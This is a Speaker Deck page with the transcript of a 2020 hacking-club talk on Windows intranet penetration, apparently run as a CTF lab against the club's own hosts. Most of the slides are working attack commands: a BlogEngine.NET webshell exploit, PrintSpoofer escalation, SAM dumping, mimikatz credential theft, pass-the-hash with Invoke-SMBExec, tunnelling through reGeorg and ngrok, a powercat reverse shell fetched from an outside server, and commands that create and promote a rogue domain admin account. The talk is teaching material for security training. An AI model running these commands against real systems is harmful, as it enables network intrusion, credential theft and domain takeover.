Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Windows 內網滲透
Search
123ojp
August 17, 2020
Technology
1
970
Windows 內網滲透
2020/8/17 黑客社 Windows 內網滲透 演講簡報
大綱:
由一個 CVE 進入 IIS主機 後,如何橫向擴散到 OA 和 AD主機。
計分板:
https://ctf.foxo.tw/
123ojp
August 17, 2020
Tweet
Share
More Decks by 123ojp
See All by 123ojp
W15 Buffer Overflow - 安全程式設計107上
123ojp
0
230
Other Decks in Technology
See All in Technology
DevOps視点でAWS re:invent2024の新サービス・アプデを振り返ってみた
oshanqq
0
180
AI時代のデータセンターネットワーク
lycorptech_jp
PRO
1
290
Amazon SageMaker Unified Studio(Preview)、Lakehouse と Amazon S3 Tables
ishikawa_satoru
0
160
alecthomas/kong はいいぞ / kamakura.go#7
fujiwara3
1
300
KubeCon NA 2024 Recap: How to Move from Ingress to Gateway API with Minimal Hassle
ysakotch
0
210
Microsoft Azure全冠になってみた ~アレを使い倒した者が試験を制す!?~/Obtained all Microsoft Azure certifications Those who use "that" to the full will win the exam! ?
yuj1osm
2
110
watsonx.ai Dojo #5 ファインチューニングとInstructLAB
oniak3ibm
PRO
0
170
MLOps の現場から
asei
7
650
複雑性の高いオブジェクト編集に向き合う: プラガブルなReactフォーム設計
righttouch
PRO
0
120
ゼロから創る横断SREチーム 挑戦と進化の軌跡
rvirus0817
2
270
LINEスキマニにおけるフロントエンド開発
lycorptech_jp
PRO
0
330
KnowledgeBaseDocuments APIでベクトルインデックス管理を自動化する
iidaxs
1
270
Featured
See All Featured
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
PRO
10
810
Unsuck your backbone
ammeep
669
57k
Bootstrapping a Software Product
garrettdimon
PRO
305
110k
A Philosophy of Restraint
colly
203
16k
Facilitating Awesome Meetings
lara
50
6.1k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
26
1.9k
Fashionably flexible responsive web design (full day workshop)
malarkey
405
66k
Making the Leap to Tech Lead
cromwellryan
133
9k
Designing Experiences People Love
moore
138
23k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
132
33k
Raft: Consensus for Rubyists
vanstee
137
6.7k
Easily Structure & Communicate Ideas using Wireframe
afnizarnur
191
16k
Transcript
Windows 內網滲透 你懂 Windows 嗎? Speaker: 童舒晧 致敬 AIS3 紅⼈人演練
$ Whoami • 你們家老社長 (第五屆⿊黑客社社長) • 資安 Web狗 ⼀一點點pwn 剩下我就垃圾
Outline • 打爆 Windows • 沒ㄖ • 啊⼤大家都是 root 不要砍檔改密碼謝謝
今⽇日弱點 http://140.134.25.138:55555/ 計分板 https://ctf.foxo.tw/challenges
練習找 CVE getshell 5 min
第零關 - 登入admin • 弱密碼 • 帳號 admin • 密碼
admin
第⼀一關 - CVE
好習慣 (⼀一) • 上傳後⾨門 ⽽而非打reverse shell • 許多web server都被防火牆 •
禁⽌止連外網 • (當初我打 ilexxn 也是這樣)
新⼿手⼤大禮包 • 今天上課所有⼯工具 • https://ctf.foxo.tw/files/ 0b95689cc6782e0e3607ff26fde33aad/tools.zip • 解壓縮密碼 foxo
第⼀一關 CVE 解答 • ⼤大禮包打開來來 • 執⾏行行 • ▶ python
BlogEngine.NET_poc_upload.py -t '140.134.208.100:55555' -u admin -p admin -f ASPXspy2.aspx • 後⾨門密碼 admin http://140.134.208.100:55555/Custom/Themes/RCE/ASPXspy2.aspx
點⼀一點後⾨門開⼼心拿flag
查看權限 • 拿到 RCE 之後 很重要⼀一件事就是知道⾃自⼰己權限
提權好處 • ⼀一般權限 • 掃 port • 做 web server能做的事
• 最⾼高權限 • 想幹嘛就幹嘛 • 幫他關機 • dump 機器上所有密碼 、 關防毒
第⼆二關 - Network Service 提權 •PrintSpoofer •Local/Network Service to SYSTEM
•https://github.com/itm4n/PrintSpoofer •Support •Windows 10 & Windows Server 2019.. even more •Usage •PrintSpoofer.exe -c "command"
使⽤用條件 • Whoami /priv 其中⼀一項開啟 • SeImpersonatePrivilege => CreateProcessWithToken() •
SeAssignPrimaryToken => CreateProcessAsUser() • 看起來來是預設開啟
使⽤用後⾨門上傳 • 或是等你隊友上傳(X • 看不到結果 只好⽤用寫檔⽅方式讀取 • C:\inetpub\wwwroot\Custom\Themes\RCE\PrintSpoofer.exe • -c
"C:\windows\system32\cmd.exe /c whoami > C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
打開 tmp.txt
使⽤用 PrintSpoofer 讀 flag • -c "C:\windows\system32\cmd.exe /c type
C:\flag.txt > C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
G3t R00t 0N llS
Dump iis password
SAM 檔案: 儲存本地⽤用⼾戶的 NTLM Hash • Security Account Manager •
安全帳⼾戶管理理器是Windows XP,Windows Vista, Windows 7、8.1和10中的數據庫⽂文件,⽤用於存儲⽤用⼾戶密 碼。它可⽤用於對本地和遠程⽤用⼾戶進⾏行行⾝身份驗證。從 Windows 2000 SP4開始,Active Directory對遠程⽤用⼾戶進⾏行行 ⾝身份驗證。SAM使⽤用加密措施來來防⽌止未經⾝身份驗證的⽤用⼾戶 訪問系統。 ——维基百科(英⽂文)
Dump SAM • 使⽤用 PrintSpoofer Dump • -c "reg save
HKLM\SAM C:\inetpub\wwwroot\sam.zip" • -c "reg save HKLM\SYSTEM C:\inetpub\wwwroot\system.zip"
解析 SAM • Creddump7 • git clone https://github.com/Neohapsis/creddump7 • pip
install pycrypto • python2 • python pwdump.py system.zip sam.zip
Dump 結果 Username UID LM Hash NTLM Hash fox: 1000:
aad3b435b51404eeaad3b435b 51404ee: 7ecffff0c3548187607a14bad0f8 8bb1:::
拿去隨意網站crack hash • https://crackstation.net/ • fox 帳號弱密碼 : 1qaz@WSX3edc •
Administrator 密碼無法解析
⽬目前成就 IIS (Web Server) Owned! Hackers firewall allow web access
?
⽬目前成就 IIS (Web Server) Hackers http tunnel ✅ 跳板 nmap
確定⼦子網域 • 可以知道 ⼦子網域 在 192.168.122.0/24
http tunnel • ⽤用 http 協定達成 proxy • 常⽤用於 web
server 被打下來來(不⽤用提權即可使⽤用) • 常⾒見見⼯工具 reGeorg • 上傳 interface 到 受害者server • 使⽤用 http url 建立⼀一個 sock proxy 到本機
解壓縮 ⼤大禮包裡的 reGeorg • 然後把 上傳 (因為我們今天試⽤用 .net 所以選aspx) •
打開網⾴頁確定 運作正常 • http://140.134.208.100:55555/Custom/Themes/RCE/ tunnel.aspx
運⽤用http tunnel 掃內網 • 在kali 執⾏行行 • python reGeorgSocksProxy.py -u
http:// 140.134.208:100:55555/Custom/Themes/RCE/ tunnel.aspx • proxy 在 127.0.0.1:8888
proxychains • Kali 內建 • 使⽤用設定的proxy執⾏行行後⽅方指令 • ex. proxychains nmap
…. • 修改 proxy位⼦子 改到8888 • vim /etc/proxychains.conf (kali 預設位置)
proxychains + nmap • 設定完 使⽤用 • $ proxychains <command>
• $ proxychains nmap -sT -Pn -p 445 192.168.122.0/24
tunnel 很慢 我幫你掃 • proxychains nmap -sT -Pn -p 445
192.168.122.58 • proxychains nmap -sT -Pn -p 445 192.168.122.246
找到兩兩台主機 IIS (Web Server) Hackers http tunnel 192.168.122.58 192.168.122.246
企業 Windows 常⾒見見架構 Web Server AD OA OA Control Control
office automation system https://en.wikipedia.org/wiki/Office_automation
Active Directory (AD) • Active Directory(簡稱AD。中國譯名為「活動⽬目錄」,台灣 為維持英⽂文不譯)是微軟Windows Server中,負責架構中⼤大 型網路路環境的集中式⽬目錄管理理服務(Directory Services),
在Windows 2000 Server開始內建於Windows Server產品中, 它處理理在組織中的網路路物件,物件可以是使⽤用者、群組、電 腦、網域控制站、郵件、設定檔、組織單元、樹系等等,只要 是在Active Directory結構定義檔(schema)中定義的物件, 就可以儲存在Active Directory資料檔中,並利利⽤用Active Directory Service Interface來來存取,實際上,許多Active Directory的管理理⼯工具都是利利⽤用這個介⾯面來來呼叫並使⽤用Active Directory的資料。 — 維基百科
總之就是⼤大總管 所有網域下電腦 可以⽤用同組帳號登入
本地使⽤用者登入 • .\Administrator • 主機名稱 \Administrator
有開AD登入 • 網域 Foxo (Administrator) • FOXO\Administrato r
None
尋找 AD IP • AD 通常會和 DNS server 是同⼀一台
查看 帳號 • Local • net user • net user
<username>
這隻 帳號 密碼 已有
查看 domain 帳號 • domain • net user /domain •
net user /domain <username>
發現 特權 帳號 kingoffox
下⼀一步 打OA Web Server AD OA Control Control 192.168.122.58 192.168.122.246
192.168.122.53 OA 通常會有 ⼤大量量使⽤用者登入
把 OA smb 代理理出來來 • 上傳 ngrok • 申請 ngrok
token https://dashboard.ngrok.com/ • 拿取 token
上傳失敗? 壓縮上傳 • 壓縮 ngrok • 上傳後 ⽤用powershell 解壓 •
/c powershell -command "Expand-Archive C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok.zip C:\inetpub\wwwroot\Custom\Themes\RCE\a"
在 webshell 執⾏行行 ngrok • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:
• tcp 192.168.122.58:445 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
Port Forwarding • 在 Kali 上灌 ssh server • apt-get
install openssh-server • 設定 Port Forwarding • vim /etc/ssh/sshd_config • 重啟 sshd • /etc/init.d/ssh restart
使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh
127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 確定⾃自⼰己 kali ip
在 windows 執⾏行行 PsExec.exe • Psexec.exe • 有微軟簽章的遠端執⾏行行⼯工具 • 走
smb 協定 (想不到smb可以執⾏行行程式吧) • 有 eula 記得加參參數取消 • psexec.exe -accepteula • 64 位元要⽤用 Psexec64.exe
IT : SMB是拿來來傳檔案的 微軟: 拿來來遠端執⾏行行也不錯啊
使⽤用相同密碼 PsExec.exe 跳到OA • PsExec64.exe \\<IP> -accepteula -s -u <帳號>
-p <密碼> <程式> • eg: PsExec64.exe \\192.168.50.184 -s -accepteula -u fox -p 1qaz@WSX3edc cmd
找到 OA 上 flag
⽬目前戰績 Web Server AD OA Control Control 192.168.122.58 192.168.122.246 192.168.122.53
Pwn! Pwn!
再次Dump 密碼
lsass.exe Process • OA 會有許多帳號登入 • 登入過後帳號會在電腦留留下資訊 • lsass.exe Process:
• 儲存登入過的 session 與其 NTLM Hash 或密碼
使⽤用 mimikatz
移動 mimikatz • 上傳⾄至 IIS • 運⽤用網路路芳鄰 移動到 OA C:\
• 什什麼沒有開網路路芳鄰?
任意電腦 C:\ 讀取 加入Domain的電腦不是 你的電腦
加入 Domain 預設共⽤用C:\ • 打開網路路芳鄰存取 \\<ip>\c$ • $ 符號代表隱藏的資料夾
使⽤用 cmd 存取 • 掛載遠端磁碟 • net use \\<ip>\C$ /user:<username>
<password> • net use \\192.168.122.58\C$ /user:fox "1qaz@WSX3edc" • 查看掛載詞耊 • net use
Copy iis 檔案 到 OA • copy <檔案位⼦子> <檔案位⼦子> •
copy C:\inetpub\wwwroot\Custom\Themes\RCE\mimikatz.exe \\192.168.122.58\C$
再次啟動Psexec • 再次連上 OA 記得加-s flag 拿system 權限 • PsExec64.exe
\\<Kali_IP> -accepteula -u <帳號> -p <密碼> -s cmd • eg: PsExec64.exe \\192.168.50.184 -accepteula -u fox -p 1qaz@WSX3edc -s cmd • 執⾏行行 mimikatz.exe
whoami 是 system
Dump Isass • 使⽤用 mimikatz dump 所有 lsass.exe Process Hash
• Sekurlsa::logonPasswords
尋找可⽤用 user • 找到⼀一開始發現的 特權帳號 kingoffox 以及 密碼hash
Pass The Hash 使⽤用 hash 就可登入
重新 forward port • 關掉 ngrok •
改成 forward AD • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument: •
tcp 192.168.122.246:445 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh
127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 記得把上⼀一個 ctrl+c 關掉
⽤用 powershell 腳本 pass the hash • [System.Net.ServicePointManager]::ServerCertificateValidatio nCallback =
{$true}; //關閉 ssl 保護 複製時注意換⾏行行空⽩白 • IEX(New-Object System.Net.WebClient).DownloadString("https:// 35.201.144.177/Invoke-SMBExec.ps1"); //Load script (防毒要關) • Invoke-SMBExec -Target <IP> -Domain <Domain> - Username <Username> -Hash <Hash> -Command '<命令>' - verbose
搭配 reverse shell • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username
kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'powershell -c " [System.Net.ServicePointManager]::ServerCertificateVali dationCallback = {$true}; IEX(New-Object System.Net.WebClient).DownloadString(\"https:// 35.201.144.177/powercat.ps1\");powercat -c 140.134.243.8 -p 4444 -e cmd"' -verbose
None
新增 domain admin帳號 • dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn
[email protected]
-fn Fox -ln Hack -display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj" • net group "Domain Admins" hackfox /ADD /DOMAIN • 如果沒有 主機 可以 reverse shell 直接執⾏行行創帳號 在登入
直接創帳號 • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash
9b9a292a04ba3679b3822d1586bd5b29 -Command 'dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn
[email protected]
-fn Fox -ln Hack - display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj"' - verbose • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'net group "Domain Admins" hackfox /ADD /DOMAIN' -verbose
None
把 RDP 代理理出來來
重新 forward port • 關掉 ngrok •
改成 forward AD 3389 • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:
• tcp 192.168.122.246:3389 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
直接連線 rdp • 2.tcp.ngrok.io:12723
打下AD就是這麼樸實無華